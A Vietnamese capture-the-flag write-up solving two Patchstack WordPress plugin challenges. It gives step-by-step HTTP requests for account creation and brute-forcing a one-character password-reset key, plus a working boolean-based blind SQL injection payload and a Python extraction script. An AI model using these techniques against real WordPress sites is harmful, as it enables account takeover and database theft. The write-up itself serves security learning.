Trong thời gian gần đây, Patchstack đã tổ chức cuộc thi Patchstack WCUS CTF, bao gồm 9 thử thách (challenge), tất cả đều tập trung vào việc khai thác các lỗ hổng bảo mật trong các plugin WordPress. Sau đây là một số writeup về các thử thách đó.
Tất cả các challenge đều được cung cấp dưới dạng whitebox.
WP Elevator
Trong challenge này, đề bài cung cấp cho chúng ta một plugin WordPress. Nhiệm vụ của chúng ta là gọi đúng endpoint để lấy được flag.
add_action("wp_ajax_patchstack_flagger", "flagger_request_callback"); function flagger_request_callback()
{ // Validate nonce $nonce = isset($_REQUEST["nonce"]) ? sanitize_text_field($_REQUEST["nonce"]) : ""; if (!wp_verify_nonce($nonce, "get_latest_posts_nonce")) { wp_send_json_error("Invalid nonce."); return; } $user = wp_get_current_user(); $allowed_roles = ["administrator", "subscriber"]; if (array_intersect($allowed_roles, $user->roles)) { $value = file_get_contents('/flag.txt'); wp_send_json_success(["value" => $value]); } else { wp_send_json_error("Missing permission."); }
}
Vậy, chỉ cần chúng ta có được role administrator
hoặc subscriber
, chúng ta sẽ nhận được flag.
Nhưng làm thế nào để có thể đăng ký một tài khoản subscriber
? Trong mã nguồn, có một đoạn code cho phép tạo người dùng mới với role subscriber
.
function create_user_via_api($request)
{ $parameters = $request->get_json_params(); $username = sanitize_text_field($parameters["username"]); $email = sanitize_email($parameters["email"]); $password = wp_generate_password(); // Create user $user_id = wp_create_user($username, $password, $email); if (is_wp_error($user_id)) { return new WP_Error( "user_creation_failed", __("User creation failed.", "text_domain"), ["status" => 500] ); } // Add user role $user = new WP_User($user_id); $user->set_role("subscriber"); return [ "message" => __("User created successfully.", "text_domain"), "user_id" => $user_id, ];
}
Yêu cầu POST để tạo tài khoản mới:
POST /wp-json/user/v1/create HTTP/1.1
Content-Type: application/json { "username": "newuser", "email": "newuser@example.com"
}
Tuy nhiên, khi tạo người dùng mới, chỉ có username
và email
được truyền đi, mà không có mật khẩu để đăng nhập. Plugin này còn cung cấp một tính năng khác là reset_password_key_callback()
, cho phép yêu cầu reset mật khẩu cho bất kỳ tài khoản nào. Chúng ta có thể sử dụng $key
được tạo từ get_password_reset_key2()
để thực hiện việc reset mật khẩu.
Request yêu cầu reset password:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 action=reset_key&user_id=71
Tuy nhiên, $key
được tạo ra chỉ có 1 ký tự duy nhất, điều này cho phép chúng ta brute force key để reset mật khẩu cho tài khoản subscriber
vừa tạo.
$key = wp_generate_password(1, false);
Do môi trường của tôi không được cấu hình server mail, nên tôi gặp khó khăn trong việc xác định chính xác endpoint để reset mật khẩu bằng key. Sau khi tham khảo ChatGPT, tôi đã nhận được câu trả lời như sau:
Tôi đã thử sử dụng endpoint này để reset mật khẩu cho tài khoản subscriber
.Tuy nhiên, sau đó tôi phát hiện ra một endpoint tốt hơn để thực hiện việc này.
POST /wp-login.php?action=resetpass HTTP/1.1
Content-Type: application/x-www-form-urlencoded pass1=123&pw_weak=on&pass2=123&rp_key=R&wp-submit=Save+Password
Sau khi reset thành công và có được tài khoản subscriber
, tôi tiếp tục gửi yêu cầu đến hàm get_latest_posts_callback
để lấy giá trị nonce
:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: <subcriber> action=get_latest_posts_callback
Khi đã có nonce
, tôi chỉ cần gửi yêu cầu tới flagger_request_callback()
và truyền giá trị nonce
đó để nhận flag:
POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: <subcriber>
Content-Type: application/x-www-form-urlencoded action=patchstack_flagger&nonce=b920667f1a
Link Manager
Đập vào mắt đầu tiên là đoạn code dễ dàng bị khai thác SQL Injection tại:
function get_link_data() { global $wpdb; $table_name = $wpdb->prefix . 'links'; $link_name = sanitize_text_field($_POST['link_name']); $order = sanitize_text_field($_POST['order']); $orderby = sanitize_text_field($_POST['orderby']); validate_order($order); validate_order_by($orderby); $results = $wpdb->get_results("SELECT * FROM wp_links where link_name = '$link_name' order by $orderby $order"); if (!empty($results)) { wp_send_json_success($results); } else { wp_send_json_error('No data found.'); }
}
Mặc dù có đoạn validate dữ liệu truyền vào, nhưng nó chỉ để đánh lừa và không thực sự ngăn chặn được SQL Injection. Chúng ta vẫn có thể khai thác lỗ hổng qua biến $orderby $order
.
Để khai thác được lỗ hổng này, trước tiên cần thêm dữ liệu vào mà không cần xác thực thông qua hook sau:
add_action( 'wp_ajax_nopriv_submit_link', 'handle_ajax_link_submission' );
Chúng ta có thể gửi yêu cầu thêm dữ liệu và lấy giá trị nonce
từ trang chủ, thông qua biến var ajaxNonce = 'bb01b00013';
:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded action=submit_link&url=http://example.com&name=test&description=test&nonce=bb01b00013
Khai thác SQL Injection
Trong đoạn truy vấn SQL sau:
$results = $wpdb->get_results("SELECT * FROM wp_links where link_name = '$link_name' order by $orderby $order");
Chúng ta có thể khai thác SQL Injection qua order by
, nhưng do response không hiển thị lỗi nên không thể sử dụng kỹ thuật error-based SQLi. Thay vào đó, có hai cách khai thác: time-based blind SQL Injection hoặc boolean-based blind SQL Injection.
Tôi đã chọn cách khai thác bằng boolean-based blind SQL Injection vì cách này nhanh hơn cho brute force. Payload sử dụng có dạng (cảm ơn người anh homie đã chia sẻ payload này):
(SELECT (CASE WHEN (1=1) THEN 1 ELSE 6096*(SELECT 6096 FROM information_schema.tables) END))
Chỉ cần thay phần 1=1
bằng các điều kiện boolean hoặc time-based khác là được. Tôi đã chọn sử dụng boolean-based vì nó hiệu quả hơn trong trường hợp này.
Lưu ý: Công cụ
sqlmap
không thể khai thác lỗ hổng này do hạn chế trong việc gửi payload. Nếu có cách sử dụng tốt hơn, các bạn đọc có thể gợi ý thêm nhé. Vì không thể khai thác tự động bằng công cụ, tôi đành phải "manual" 😥.
Trong quá trình khai thác, tôi gặp hai vấn đề lớn:
- Không thể sử dụng dấu
'
. - Không thể so sánh chuỗi.
Nguyên nhân không sử dụng được dấu '
là do tính năng Addslashes của WordPress mà tôi đã trình bày trong bài viết trước. Việc này cũng khiến không thể so sánh chuỗi một cách thông thường.
Giải pháp thay thế là sử dụng các hàm số để so sánh. Tôi chuyển qua so sánh bằng số và sử dụng hàm ASCII()
để chuyển đổi ký tự sang mã số, đồng thời sử dụng hàm CHAR()
để lấy tên cột. Flag của challenge này nằm trong bảng wp_options
với tên cột là flag_links_data
.
Với sự hỗ trợ của ChatGPT, tôi đã viết một script để khai thác lỗ hổng này:
import requests
import string url = 'http://100.25.255.51:9097/wp-admin/admin-ajax.php'
target_table = '' def test_sqli(payload): data = { 'action': 'get_link_data', 'link_name': 'test', 'order': '', 'orderby': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded' } response = requests.post(url, data=data, headers=headers) try: result = response.json() if result.get('success') == False: return False return True except ValueError: return False def brute_force_flag_links_data(): flag_value = '' char_set = string.ascii_letters + string.digits + string.punctuation while True: found = False for char in range(32, 127): payload = f"(SELECT (CASE WHEN (SELECT ASCII(SUBSTRING(option_value,{len(flag_value)+1},1)) FROM wordpress.wp_options WHERE option_name=CHAR(102,108,97,103,95,108,105,110,107,115,95,100,97,116,97)) = {char} THEN 1 ELSE 6096*(SELECT 6096 FROM information_schema.tables) END))" if test_sqli(payload): flag_value += chr(char) print(f"Đã tìm thấy: {flag_value}") found = True break if not found: break print(f"Giá trị flag_links_data là: {flag_value}")
brute_force_flag_links_data()